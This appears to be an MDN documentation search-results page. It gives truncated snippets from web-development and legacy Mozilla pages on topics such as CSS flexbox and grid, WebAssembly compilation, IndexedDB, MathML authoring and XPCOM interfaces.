and how to add your own command line interface (cli) tools. prerequisites: familiarity with the core html, css, and javascript languages. objective: to understand what the terminal/command line is, what basic commands you should learn, and how to install new command line tools. welcome to the terminal the terminal is a text interface for executing text-based programs. if you're running any tooling for web development there's a near-guaranteed chance that you'll have to pop open the command line and run some commands to use your chosen tools (you'll often see such tools referred to as cli tools — command line interface tools). a large number of tools can be used by typing commands into the command line; many come pre-installed on your system, and a huge num...
...g commands into the command line; many come pre-installed on your system, and a huge number of others are installable from package registries. package registries are like app stores, but (mostly) for command line based tools and software. we’ll see how to install some tools later on in this chapter, and we’ll learn more about package registries in the next chapter. one of the biggest criticisms of the command line is that it lacks hugely in user experience. viewing the command line for the first time can be a daunting experience: a blank screen and a blinking cursor, with very little obvious help available on what to do. on the surface they’re far from welcoming but there’s a lot you can do with them, and we promise that, with a bit of guidance and practise, using them will get eas...
......
...And 13 more matches
JSS Provider Notes
iew this document describes the jca provider shipped with jss. the provider's name is "mozilla-jss". it implements cryptographic operations in native code using the nss libraries. contents signed jar file installing the provider specifying the cryptotoken supported classes what's not supported signed jar file jss 3.2 implements several jce (java cryptography extension) algorithms. these algorithms have at various times been export-controlled by the us government. sun therefore requires that jar files implementing jce algorithms be digitally signed by an approved organization. netscape has this approval and signs the official builds of jss32.jar. at runtime, the jre automatically verifies this signature whenever a jss class is loaded that implements a jce algorithm. the ve...
...the application (unless it fails and throws an exception). if you are curious, you can verify the signature on the jar file using the jarsigner tool, which is distributed with the jdk. if you build jss yourself from source instead of using binaries downloaded from mozilla.org, your jar file will not have a valid signature. this means you will not be able to use the jss provider for jce algorithms. you have two choices. use the binary release of jss from mozilla.org. apply for your own jce code-signing certificate following the procedure at how to implement a provider for the javatm cryptography extension. then you can sign your own jss jar file. installing the provider in order to use any part of jss, including the jca provider, you must first call cryptomanage...
...meanwhile, the org.mozilla.jss.crypto.cryptostore class can be used for some of this functionality. cipher supported algor...
...And 13 more matches
nsIDOMNSHTMLDocument
terfaces/html/nsidomnshtmldocument.idlscriptable this interface defines methods and properties supported by gecko on the document object that are not part of dom level 2. ...
...ble this interface defines methods and properties supported by gecko on the document object that are not part of dom level 2. ...
...ted by gecko on the document object that are not part of dom level 2. ...
...And 13 more matches
CountQueuingStrategy - Web APIs
the countqueuingstrategy interface of the the streams api provides a built-in chunk counting queuing strategy that can be used when constructing streams. constructor countqueuingstrategy() creates a new countqueuingstrategy object instance. properties none. methods countqueuingstrategy.size() returns 1. examples const queueingstrategy = new countqueuingstrategy({ highwatermark: 1 }); const writablestream = new writablestream({ // implement the sink write(chunk) { ... }, close() { ... }, abort(err) { console.log("sink error:", err); } }, queueingstrategy); var size = queueingstrategy.size(); specifications specification status comment streamsthe definition of 'countqueuingstrategy' in that specification. living stand...
...d initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ari on iossamsung internetcountqueuingstrategy experimentalchrome full support 59edge full support 16firefox full support 57disabled full support 57disabled disabled from version 57: this feature is behind the dom.streams.enabled preference (needs to be set to true) and the javascript.options.streams preference (needs to be set to true). to change preferences in firefox, visit about:config.ie no support noopera full support 46safari ? webview android full support ...
...And 13 more matches
URLUtilsReadOnly - Web APIs
e urlutilsreadonly interface previously defined utility methods for working with urls. these were then inherited by other interfaces, such as workerlocation. urlutilsreadonly has been removed from the specification, and the properties it defined are now directly part of the affected interfaces. properties this interface doesn't inherit any properties. urlutilsreadonly.href read only is a domstring containing the whole url. urlutilsreadonly.protocol read only is a domstring containing the protocol scheme of the url, including the final ':'. urlutilsreadonly.host read only is a domstring containing the host, that is the hostname, a ':', and the port of the url. urlutilsreadonly.hostname read only is a domstring containing the domain of the url. urlutilsreadonly.origin read onl...
... the whole url. urlutilsreadonly.protocol read only is a domstring containing the protocol scheme of the url, including the final ':'. urlutilsreadonly.host read only is a domstring containing the host, that is the hostname, a ':', and the port of the url. urlutilsreadonly.hostname read only is a domstring containing the domain of the url. urlutilsreadonly.origin read only returns a domstring containing the canonical form of the origin of the specific location. urlutilsreadonly.port read only is a domstring containing the port number of the url. urlutilsreadonly.pathname read only is a domstring containing an initial '/' followed by the path of the url. urlutilsreadonly.search read only is a domstring containing a '?' followed by the parameters of the url. urlutilsreado...
...it is a synonym for urlutilsreadonly.href. ...
...And 13 more matches
ARIA Test Cases - Accessibility
e information might still be useful for some readers. for more up-to-date examples, see the openajaxalliance aria examples page. or copy-paste: http://oaa-accessibility.org/examples/ for each example we test the "expected" results with assistive technologies, for each browser that at supports wai-aria in. where a failure occurs we will test the browser for api incorrectness, using tools such as msaa inspect. this must be done in order to determine where to file a bug (browser or at). there are several purposes for providing this information: help browser vendors provide correct implementations help at vendors provide correct implementations inform authors as to what actually works reliably in general we're testing with the latest public releases. however, where things don't work we...
...test files are for dojo developers to exercise and debug the code. as such, they are used to test a variety of features, such as styling, behavior, mouse, and keyboard interactions, to name few. these test files are not specifically for testing aria. still, dojo's widgets implement aria, and the noted test files could be used as an "aria test file". new tests for internet explorer 8 rc1 on this msdn page the aria state/role mapping in ie8 to msaa roles can be directly checked. also, as a clever feature for at testing, the firing of events (like event_object_statechange) can be invoked from the examples. finally, a list of currently non-mapped aria roles is given. documenting and filing bugs review the information on how to file a bug on an aria implementation. when documenting an issue, ...
...g yui alert dialog (3rd button in this page) expected at behavior: at should speak the fact that this is an alert, the title and contents of the dialog, then place virtual focus or the real focus on the desired control (like a button). screen magnifier should show the focused button or emulate any other standard behavior found in notification dialogs in windows or respective operating systems. markup used: role="alert" aria-labeledby notes: in the uiuc test example, the 'close' button cannot recieve focus. results: at firefox ie opera safari jaws 9 - - n/a n/a jaws 10 2 pass, 1 pass with known focus of the close button problem. ffd - i concur - - - voiceover (leopard) n/a n/a - fail ...
...And 13 more matches
Typical use cases of Flexbox - CSS: Cascading Style Sheets
in this guide we will take a look at some of the common use cases for flexbox — those places where it makes more sense than another layout method. why choose flexbox? in a perfect world of browser support, the reason you'd choose to use flexbox is because you want to lay a collection of items out in one direction or another. as you lay out your items you want to control the dimensions of the items in that one dimension, or control the spacing between items. these are the uses that flexbox was designed for. you can read more about the difference between flexbox and css grid layout in relationship of flexbox to other layout methods, where we discuss how flexbox fits into the overall picture of css layout. in reality we also often use flexbox for jobs that might be better done by grid lay...
...eality we also often use flexbox for jobs that might be better done by grid layout, as a fallback for grid, and also in order to get alignment capabilities. this is something that may well change once box alignment is implemented in block layout. in this guide i look at some of the typical things you might use flexbox for today. navigation a common pattern for navigation is to have a list of items displayed as a horizontal bar. this pattern, as basic as it seems, was difficult to achieve before flexbox. it forms the most simple of flexbox examples, and could be considered the ideal flexbox use case. when we have a set of items that we want to display horizontally, we may well end up with additional space. we need to decide what to do with that space, and have a couple of options. we eithe...
...attern, as basic as it seems, was difficult to achieve before flexbox. it forms the most simple of flexbox examples, and could be considered the ideal flexbox use case. when we have a set of items that we want to display horizontally, we may well end up with additional space. we need to decide what to do with that space, and have a couple of options. we either display the space outside of the items — therefore spacing them out with white space between or around them — or we absorb the extra space inside the items and therefore need a method of allowing the items to grow and take up this space. space distributed outside the items to distribute the space between or around the items we use the alignment properties in flexbox, and the justify-content property. you can read more about this...
...And 13 more matches
align-content - CSS: Cascading Style Sheets
the css align-content property sets the distribution of space between and around content items along a flexbox's cross-axis or a grid's block axis. the interactive example below use grid layout to demonstrate some of the values of this property. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. this property has no effect on single line flex containers (i.e. ones with flex-wrap: nowrap). ...
...ithub repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. this property has no effect on single line flex containers (i.e. ones with flex-wrap: nowrap). ...
...ve examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. this property has no effect on single line flex containers (i.e. ones with flex-wrap: nowrap). ...
...And 13 more matches
WebAssembly - JavaScript
underlying source, leaving instantiation as a separate step. webassembly.validate() validates a given typed array of webassembly binary code, returning whether the bytes are valid webassembly code (true) or not (false). examples stream a .wasm module then compile and instantiate it the following example (see our instantiate-streaming.html demo on github, and view it live also) directly streams a .wasm module from an underlying source then compiles and instantiates it, the promise fulfilling with a resultobject. because the instantiatestreaming() function accepts a promise for a response object, you can directly pass it a windoworworkerglobalscope.fetch() call, and it will pass the response into the function when it fulfills. var importobject = { imports: { imported_func: arg => conso...
...hat specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11samsung internet android full support 7.0nodejs full support 8.0.0compileerrorchrome full support 57edge full support 16firefox full support 52notes full support ...
...And 13 more matches
Bookmarks - Archive of obsolete content
firefox 2 and earlier creating a new bookmark var win = mybrowser.contentwindow; // get the bookmarks service const bmsvc = components.classes["@mozilla.org/browser/bookmarks-service;1"] .getservice(components.interfaces.nsibookmarksservice); // create the bookmark bmsvc.createbookmarkincontainer(win.document.title, // bookmark name win.location.href.tostring(), // uri of the bookmark null, // shortcut win.document.title, // description win.document.characterset, // charset null, // postdata bookmarksservice.getbookmarkstoolbarfolder(), // bookmark folder ...
...ed by the nsinavbookmarksservice interface, provides methods for creating, deleting, and manipulating bookmarks and bookmark folders. this article offers examples for how to perform common bookmark management tasks using the bookmarks service. ...
...specifying default_index as the index at which to insert the new folder places it at the end of the list. ...
...And 12 more matches
StringView - Archive of obsolete content
the aims of this library are: to create a c-like interface for strings (i.e., an array of character codes — an arraybufferview in javascript) based upon the javascript arraybuffer interface to create a highly extensible library that anyone can extend by adding methods to the object stringview.prototype to create a collection of methods for such string-like objects (since now: stringviews) which work strictly on arrays of numbers rather than on creating new immutable javascript strings to work with unicode encodings other than javascript's default utf-16 domstrings introduction as web applications become more and more powerful, adding features such as audio and video manipulation, access to raw data using websockets, and so forth, it has become clear that there are times wh...
...; } } awhole = new ftaview(noutptlen); /* transcription... */ for (var ninptidx = nstartidx, noutptidx = 0; noutptidx < noutptlen; ninptidx += fgetinptchrsize(nchrcode)) { nchrcode = fgetinptchrcode(vsource, ninptidx); noutptidx = fputoutptcode(awhole, nchrcode, noutptidx); } break conversionswitch; case 4: /* domstring to ascii or binarystring or other unknown encodings */ awhole = new ftaview(noutptlen); /* transcription... */ for (var nidx = 0; nidx < noutptlen; nidx++) { awhole[nidx] = vsource.charcodeat(nidx) & 0xff; } break conversionswitch; case 5: /* domstring to utf-8 or to utf-16 */ /* mapping... */ noutptlen = 0...
...codeat(nmapidx)); if (nmapidx === ncharend) { nendidx = noutptlen; } } awhole = new ftaview(noutptlen); /* transcription... */ for (var noutptidx = 0, nchridx = 0; noutptidx < noutptlen; nchridx++) { noutptidx = fputoutptcode(awhole, vsource.charcodeat(nchridx), noutptidx); } break conversionswitch; case 6: /* domstring to utf-32 */ awhole = new ftaview(noutptlen); /* transcription... */ for (var nidx = 0; nidx < noutptlen; nidx++) { awhole[nidx] = vsource.charcodeat(nidx); } break conversionswitch; case 7: awhole = new ftaview(noutptlen ? vsource : 0); break conversionswitch; } araw = ntranscrtype > 3 && (nstartidx > 0 ...
...And 12 more matches
JXON - Archive of obsolete content
ml document must be read from the javascript interpreter (like for web-apps languages or settings xml documents, for example). in these cases jxon could represent the most practical way. in this article we will show how to convert a parsed xml document (i.e. an instance of document) to a javascript object tree (i.e. a tree of nested instances of object) and viceversa, with some different algorithms. it could be useful to read the xml introduction article first. if you want a complete bidirectional jxon library (modelled on the json global object), skip to the dedicated paragraph (but please read the note about the const statement compatibility). note: if you are interested to address only some parts of an xml document (and are not starting in javascript/json for templating purposes), use ...
... a dom tree like the previous example as described in the how to create a dom tree article. if you have already have a dom tree from using xmlhttprequest, skip to the next paragraph. note: if you are using an instance of xmlhttprequest in order to retrieve your xml file, please use the yourrequest.responsexml property to get a parsed xml document. don't use yourrequest.responsetext! the algorithms proposed here (see: #1, #2, #3, #4) will consider only the following types of nodes and their attributes: document (only as function argument), documentfragment (only as function argument), element, text (never as function argument), cdatasection (never as function argument), attr (never as function argument). this is a good and standardized compromise for a javascript usage, since all ...
...ince what is lost is meta-information and not information. in order to avoid conflicts, the representation of nodes and attributes names is case insensitive (always rendered in lower case), so objects' local property names set using javascript must always have some kind of capitalization (that is, at least one capital letter somewhere in their names), as you can see below. the following algorithms are somewhat based on the parker convention, version 0.4, which prescribes the transformation of tags names into object properties names and the recognition of the typeof of all the collected text content of each tag (plain text parsing); but with some differences (so, one can say that we follow a our convention). moreover, all algorithms are equally lossless for the contemplated nodes. we consi...
...And 12 more matches
MMgc - Archive of obsolete content
using mmgc managed vs. unmanaged memory mmgc is not only a garbage collector, but a general-purpose memory manager. the flash player uses it for nearly all memory allocations. mmgc can handle both managed and unmanaged memory. ...
...arriers are required. drc() is required for rc objects, since the reference count must be maintained. write barriers are not needed for c++ objects that exist purely on the stack, and never in the heap. the flash player class "nativeinfo" is a good example. such objects are essentially the same as stack-based local variables. zeroing rcobjects all rcobjects (including all subclasses) must zero themselves out completely upon destruction. asserts enforce this. the reason is that our collector zeroes memory upon free and this was hurting performance. since mmgc must traverse objects to decrement refcounts properly upon destruction, i just made destructors do zeroing too. this mostly applies to non-pointer fields as drcwb smart pointers do this for you. poisoned memory in debug builds, mmgc writ...
...d memory that was freed explicitly 0xbabababa managed memory that was freed by the sweep phase of the garbage collector 0xcacacaca managed memory that was freed by an explicit call to gc::free (including drc reaping) 0xdeadbeef this is written to the 4 bytes just after any object allocated via mmgc. it is used for overwrite detection. 0xfbfbfbfb a block given back to the heap manager is memset to this (fb == free block). finalizers if your c++ class is a subclass of gcfinalizedobject or rcfinalizedobject, it has finalizer support. a finalizer is a method which will be invoked by the gc when an unreachable object is about to be destroyed. it's similar to a destructor. it differs from a destructor in that it is usually called nondeterministically, i.e. in whatever random order the g...
...And 12 more matches
Gecko Compatibility Handbook - Archive of obsolete content
web page. in addition, internet explorer 4 and netscape navigator 4 use completely different methods of embedding third-party software into the browser. gecko is a cross-platform browser engine, compatible with a number of windows versions including windows xp, as well as mac and linux. because of gecko's cross-platform nature, functionality is generally very much the same on different platforms unlike internet explorer for mac and ie for windows, which are very different programs and so may behave quite differently from each other. quick compatibility test if your site uses netscape 4.x and microsoft proprietary technologies, see using web standards in your web pages for a quick tutorial on standards. this compatibility test will be most beneficial to sites using simple code or that h...
...g tools | user agent switcher |the name you have chosen. you can verify the string got changed by looking under help | about. you can find the user agent strings of many gecko-based browsers here. if possible, also download the actual clients (netscape, aol, compuserve) for testing. review your results the following scenarios all relate to browser detection. for more solutions to common problems please continue reading this handbook. problem: site supports standards but does not look right try picking the internet explorer 6 user-agent string. if this works, set up your detection to serve ie 6 content to visitors with gecko in their user-agent strings. ie 6.x is actually more similar to gecko browsers than netscape 4.x is to gecko, due to increased support of w3c standards. problem: s...
...ds. problem: site certified on netscape 6.x looks incorrect in other browsers if your site is already gecko-compatible, try switching back to a netscape 6 user-agent string. if it looks ok, you're probably detecting only netscape or netscape6. detecting gecko instead is the easy way to fix this as well as accomodate users of mozilla, compuserve 7, etc. ...
...And 12 more matches
Legacy layout methods - Learn web development
previous overview: css layout next grid systems are a very common feature used in css layouts, and before css grid layout they tended to be implemented using floats or other layout features. you imagine your layout as a set number of columns (e.g. 4, 6, or 12), and then fit your content columns inside these imaginary columns. in this article we'll explore how these older methods work, in order that you understand how they were used if you work on an older project. prerequisites: html basics (study introduction to html), and an idea of how css works (study introduction to css and styling boxes.) objective: to understand the fundamental concepts behind the grid layout systems used prior to css grid layout being available in browsers. layout and grid sy...
...r that you understand how they were used if you work on an older project. prerequisites: html basics (study introduction to html), and an idea of how css works (study introduction to css and styling boxes.) objective: to understand the fundamental concepts behind the grid layout systems used prior to css grid layout being available in browsers. layout and grid systems before css grid layout it may seem surprising to anyone coming from a design background that css didn’t have an inbuilt grid system until very recently, and instead we seemed to be using a variety of sub-optimal methods to create grid-like designs. we now refer to these as "legacy" methods. for new projects, in most cases css grid layout will be used in combination with one or more other mode...
...that css didn’t have an inbuilt grid system until very recently, and instead we seemed to be using a variety of sub-optimal methods to create grid-like designs. we now refer to these as "legacy" methods. for new projects, in most cases css grid layout will be used in combination with one or more other modern layout methods to form the basis for any layout. ...
...And 12 more matches
powermetrics
ow-process-gpu -n 1 -i 5000 --samplers tasks tells it to just do per-process measurements. --show-process-coalition tells it to group coalitions of related processes, e.g. the firefox parent process and child processes. --show-process-gpu tells it to show per-process gpu measurements. -n 1 tells it to take one sample and then stop. ...
... parent process and child processes. --show-process-gpu tells it to show per-process gpu measurements. -n 1 tells it to take one sample and then stop. -i 5000 tells it to use a sample length of 5 seconds (5000 ms). change this number to get shorter or longer samples. ...
...gpu measurements. -n 1 tells it to take one sample and then stop. -i 5000 tells it to use a sample length of 5 seconds (5000 ms). change this number to get shorter or longer samples. ...
...And 12 more matches
nsIRadioInterfaceLayer
nager;1. ...
... an instance, use: var radiointerfacelayer = components.classes["@mozilla.org/telephony/system-worker-manager;1"] .getservice(components.interfaces.nsiinterfacerequestor) .createinstance(components.interfaces.nsiradiointerfacelayer); method overview void answercall(in unsigned long callindex); void deactivatedatacall(in domstring cid, in domstring reason); void dial(in domstring number); void enumeratecalls(in nsiriltelephonycallback callback); void getdatacalllist(); unsigned short getnumberofmessagesfortext(in domstring text); void hangup(in unsigned long callindex); void registercallback(in nsiriltelephonycallback callback); void registerdatacallcallback(in nsirildatacallback callback); void rejectcall(in unsigned l...
...n domstring number); void enumeratecalls(in nsiriltelephonycallback callback); void getdatacalllist(); unsigned short getnumberofmessagesfortext(in domstring text); void hangup(in unsigned long callindex); void registercallback(in nsiriltelephonycallback callback); void registerdatacallcallback(in nsirildatacallback callback); void rejectcall(in unsigned long callindex); void sendsms(in domstring number, in domstring message, in long requestid, in unsigned long long processid); void setupdatacall(in long radiotech, in domstring apn, in domstring user, in domstring passwd, in long chappap, in domstring pdptype); void starttone(in domstring dtmfchar); void stoptone(); void unregistercallback(in nsiriltelephonycallback callback); void unregisterdatacallcallback(in nsir...
...And 12 more matches
HTMLFormElement - Web APIs
</svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent, htmlelement. htmlformelement.elements read only a htmlformcontrolscollection holding all form controls belonging to this form element. htmlformelement.lengthread only a long reflecting the number of controls in the form. ...
... from its parent, htmlelement. htmlformelement.elements read only a htmlformcontrolscollection holding all form controls belonging to this form element. htmlformelement.lengthread only a long reflecting the number of controls in the form. htmlformelement.name a domstring reflecting the value of the form's name html attribute, containing the name of the form. htmlformelement.method a domstring reflecting the value of the form's method html attribute, indicating the http method used to submit the form. ...
...read only a long reflecting the number of controls in the form. htmlformelement.name a domstring reflecting the value of the form's name html attribute, containing the name of the form. htmlformelement.method a domstring reflecting the value of the form's method html attribute, indicating the http method used to submit the form. only specified values can be set. htmlformelement.target a domstring reflecting the value of the form's target html attribute, indicating where to display the results received from submitting the form. ...
...And 12 more matches
Using IndexedDB - Web APIs
more concrete stuff. creating and structuring the store using an experimental version of indexeddb in case you want to test your code in browsers that still use a prefix, you can use the following code: // in the following line, you should include the prefixes of implementations you want to test. ...
...line, you should include the prefixes of implementations you want to test. window.indexeddb = window.indexeddb || window.mozindexeddb || window.webkitindexeddb || window.msindexeddb; // don't use "var indexeddb = ..." if you're not in a function. ...
...ot in a function. // moreover, you may need references to some window.idb* objects: window.idbtransaction = window.idbtransaction || window.webkitidbtransaction || window.msidbtransaction || {read_write: "readwrite"}; // this line should only be needed if it is needed to support the object's constants for older browsers window.idbkeyrange = window.idbkeyrange || window.webkitidbkeyrange || window.msidbkeyrange; // (mozilla has never prefixed these objects, so we don't need window.mozidb*) beware that implementations that use a prefix may be buggy, or incomplete, or following an old version of the specification. therefore, it is not recommended to use it in production code. it may be preferable to not support a browser than to claim to support it and fail: if (!window.indexeddb) { conso...
...And 12 more matches
Web Accessibility: Understanding Colors and Luminance - Accessibility
understaning color, luminance, and saturation is important in meeting wcag 2 accessibility guidelines in terms of ensuring enough color contrast for sighted users with color blindness or reduced vision and preventing seizures and other physical reactions in people with vestibular disorders. overview colors, and how they are used, are a major component of accessibility. at the surface, the subject seems simple, but it is actually a complex subject because color is as much about the physiology of the eye and human perception as it is about light emitting from a computer screen. environment matters. ...
...nt of accessibility. at the surface, the subject seems simple, but it is actually a complex subject because color is as much about the physiology of the eye and human perception as it is about light emitting from a computer screen. environment matters. perception of color in a well-lit room will be different than perception of that same color on that same computer screen in a dark room. in terms of accessibility, the use of certain color-combinations have more impact than others. font size, font style (some fonts are so thin or fancy that they present accessibility problems on their own), background color, the size of the background space around the text, even pixel densities and more all affect how color is delivered from the screen. (see understanding success criterion 1.4.3: contrast)...
...of what it is and how it is employed enables accessibility for those who are color-blind, as well as those who can perceive color. it is the luminance contrast that enable the color-blind to distinguish dark against light. luminance must be established before the contrast may be. when speaking of color contrast, w3c formulas are actually incorporating luminance, not just the colors ("hues") themselves. terminology can be confusing, because different terms are often used to describe the same thing. "luminance" and "saturation" are particularly important to get right. for example, "saturation" is known as "chroma" in some circles. in others, "chroma" and "saturation" are two different concepts. the "l" in the hsl color space is sometimes referred to as "luminosity," other times as "ligh...
...And 12 more matches
Relationship of flexbox to other layout methods - CSS: Cascading Style Sheets
atic, with different parts of css moving on at different speeds. css was therefore modularised, and the various css specifications are different modules that make up css today. these modules relate to each other, and are at different stages of development. the box alignment module for many people the first reason they start to look at flexbox is because of the ability to properly align flex items inside a flex container. flexbox provides access to properties that allow the alignment of items on their cross axis and justification of items on the main axis. these properties started life in the flexbox specification, but are now also part of the box alignment specification. this specification details how alignment works in all layout — not just flexbox. box alignment deals with alignment ...
...ent of the spec. these properties apply only to flex layout until css box alignment level 3 is finished and defines their effect for other layout modes. additionally, any new values defined in the box alignment module will apply to flexible box layout; in otherwords, the box alignment module, once completed, will supercede the definitions here." in a later article in this series — aligning items in a flex container — we will take a thorough look at how the box alignment properties apply to flex items. the gap properties a recent addition to the box alignment specification has been the row-gap and column-gap properties, along with the shorthand gap. these properties were initially defined in the css grid specification and named grid-row-gap, grid-column-gap and grid-gap. they have bee...
...with the shorthand gap. these properties were initially defined in the css grid specification and named grid-row-gap, grid-column-gap and grid-gap. they have been renamed and moved to box alignment in order that they can be used in all layout methods — this will ultimately include flexbox. until browsers implement the gap properties for flexbox, margins have to be used to create gaps between items. writing modes in the basic concepts of flexbox article, i explained that flexbox is writing mode aware. writing modes are fully detailed in the css writing modes specification, which details how css supports the various different writing modes that exist internationally. we need to be aware of how this will impact our flex layouts as writing mode changes the direction that blocks are laid out ...
...And 12 more matches
Basic Concepts of grid layout - CSS: Cascading Style Sheets
umn and row lines. css grid layout has the following features: fixed and flexible track sizes you can create a grid with fixed track sizes – using pixels for example. this sets the grid to the specified pixel which fits to the layout you desire. you can also create a grid using flexible sizes with percentages or with the new fr unit designed for this purpose. item placement you can place items into a precise location on the grid using line numbers, names or by targeting an area of the grid. grid also contains an algorithm to control the placement of items not given an explicit position on the grid. creation of additional tracks to hold content you can define an explicit grid with grid layout. the grid layout specification is flexible enough to add additional rows and columns when nee...
... explicit position on the grid. creation of additional tracks to hold content you can define an explicit grid with grid layout. the grid layout specification is flexible enough to add additional rows and columns when needed. features such as adding “as many columns that will fit into a container” are included. alignment control grid contains alignment features so we can control how the items align once placed into a grid area, and how the entire grid is aligned. control of overlapping content more than one item can be placed into a grid cell or area and, they can partially overlap each other. this layering may then be controlled with the z-index property. grid is a powerful specification that, when combined with other parts of css such as flexbox, can help you create layouts that...
...ul specification that, when combined with other parts of css such as flexbox, can help you create layouts that were previously impossible to build in css. it all starts by creating a grid in your grid container. the grid container we create a grid container by declaring display: grid or display: inline-grid on an element. as soon as we do this, all direct children of that element become grid items. in this example, i have a containing div with a class of wrapper and, inside are five child elements. <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> i make the .wrapper a grid container. .wrapper { display: grid; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; backgroun...
...And 12 more matches
Authoring MathML - MathML
this page explains how to write mathematics using the mathml language. just like html, mathml is described with tags and attributes. html becomes verbose when your document contains advanced structures like lists or tables but fortunately there are many generators from simple notations, wysiwyg editors and other content management systems to help writing web pages. mathematical notations are even more complex with structures like fractions, square roots or matrices that are likely to require their own tags. as a consequence, good mathml authoring tools are more important and we describe some tools below. in particular, the mozilla mathml team has been developing texzilla, a javascript unicode latex-to-mathml converter that is intended to be used in many scenarios described here. of ...
...ith basic knowledge of web languages will easily be able to mix these features with mathml. check out our demos and mathml references for more details. using mathml mathml in html pages you can use presentation mathml inside html5 documents: <!doctype html> <html> <head> <title>mathml in html5</title> </head> <body> <h1>mathml in html5</h1> <p> square root of two: <math> <msqrt> <mn>2</mn> </msqrt> </math> </p> </body> </html> content mathml is not supported by browsers. it's recommended to convert your content mathml markup into presentation mathml before publishing it, for example with the help of the ctop.xsl stylesheet. tools mentioned on this page generates presentation mathml. fallback for browsers without mathml support unfortunately,...
...re not able to render mathml equations or only have a limited support. hence you will need to use a mathml polyfill to provide some fallback rendering. if you need only basic mathematical constructions such as those used on this mdn wiki then a small mathml.css stylesheet might be enough. to use it, just insert one line in your document header: <script src="https://fred-wang.github.io/mathml.css/mspace.js"></script> if you need more complex constructions, you might instead consider using the heavier mathjax library as a mathml polyfill: <script src="https://fred-wang.github.io/mathjax.js/mpadded-min.js"></script> note that these two scripts perform feature detection of the mspace or mpadded elements (see the browser compatibility table on these pages). there is also a similar script to d...
...And 12 more matches
Compiling a New C/C++ Module to WebAssembly - WebAssembly
when you’ve written a new code module in a language like c/c++, you can compile it into webassembly using a tool like emscripten. let’s look at how it works. emscripten environment setup first, let's set up the required development environment. prerequisites get the emscripten sdk, using these instructions: https://emscripten.org/docs/getting_started/downloads.html compiling an example with the environment set up, let's look at how to use it to compile a c example to emscripten. there are a number of options available when compiling with emscripten, but the main two scenarios we'll cover are: compiling to wasm and creating html to run our code in, plus all the javascript "glue" code needed to run the wasm in the web environment. compiling to wasm and just creating the javascri...
... first we need an example to compile. ...
...cripten to generate everything you need to run your code, as webassembly, in the browser. first we need an example to compile. take a copy of the following simple c example, and save it in a file called hello.c in a new directory on your local drive: #include <stdio.h> int main(int argc, char ** argv) { printf("hello world\n"); } now, using the terminal window you used to enter the emscripten compiler environment, navigate to the same directory as your hello.c file, and run the following command: emcc hello.c -s wasm=1 -o hello.html the options we’ve passed in with the command are as follows: -s wasm=1 — specifies that we want wasm output. if we don’t specify this, emscripten will just output asm.js, as it does by default. -o hello.html — specifies that we wan...
...And 12 more matches
Gecko Profiler FAQ
is it possible to locate hot spots occurring within a single function? the gecko profiler currently doesn’t have the ability to show you information about line numbers, neither for js code nor for native code. for js code, the profiler platform doesn’t capture any information about lines. it only knows what function was executed and what line this function starts at. ...
...une on windows, instruments on osx, and perf/zoom on linux.) one workaround is to break the hot function into several explicitly-non-inline helpers, recompile, and re-profile. this can change some performance characteristics, but is a decent way to get a sense of which parts of a large function are expensive. how to profile startup code that regresses just a little (<10-15ms ts_paint/tpaint) [mstange] we currently don’t have a good way to do that. you can write your own tools to assist you in this process, though. i did something like this a few years ago with the old profiler and i think something similar would work here: i think there are three main challenges here. you need deterministic profiles that can be compared meaningfully, you nee...
...t to profile to notify the profiler about its existence. we have this hooked up for nsthreads, and as of very recently also for rayon threads (used in stylo). we have not attempted to register other threads with the profiler. bug 1341811 suggests hooking platform thread spawning functions but nobody has looked at it yet. profiling all nsthreads - how bad is the overhead? [mstange] i don’t know. i think julian seward has done some measurements on this, i think. [ehsan] try clicking the toolbar icon for the extension, expanding the settings section, and enter the secret cheat code “,” in the threads field and click on “apply (restart profiler)”. this will capture all of the threads that the gecko profiler has been hooked to. this mode...
...And 11 more matches
Manipulating bookmarks using Places
ed by the nsinavbookmarksservice interface, provides methods for creating, deleting, and manipulating bookmarks and bookmark folders. this article offers examples for how to perform common bookmark management tasks using the bookmarks service. ...
...specifying default_index as the index at which to insert the new folder places it at the end of the list. ...
...mozilla.org/browser/nav-bookmarks-service;1"] .getservice(components.interfaces.nsinavbookmarksservice); creating a bookmark folder creating a new bookmark folder is done using the nsinavbookmarksservice.createfolder() method. for example, to create a new folder in the bookmarks menu: var menufolder = bmsvc.bookmarksmenufolder; // bookmarks menu folder var newfolderid = bmsvc.createfolder(menufolder, "folder name here", bmsvc.default_index); this code locates the bookmarks menu's folder, then creates a new folder named "folder name here" in it. specifying default_index as the index at which to insert the new folder places it at the end of the list. you can easily change this code to insert the new folder into the bookmarks toolbar by changing bookmarksmenufolder ...
...And 11 more matches
nsIDBChangeListener
nstigator) {}, onevent: function(adb, aevent) {}, queryinterface: function(aiid) { if (!aiid.equals(components.interfaces.nsidbchangelistener) && !aiid.equals(components.interfaces.nsisupports)) throw components.results.ns_error_no_interface; return this; } }; and to attach it in thunderbird, we must call addlistener on a nsidbchangeannouncer, typically through a nsimsgdatabase. there are a couple of ways to access the message database: if you have a nsimsgfolder, you can do this like so: somefolder.msgdatabase.addlistener(mylistener); alternately, you can access the message database through the nsimsgdbview like so: gfolderdisplay.view.dbview.db.addlistener(mylistener); method overview void onhdrflagschanged(in nsimsgdbhdr ahdrchanged, in uns...
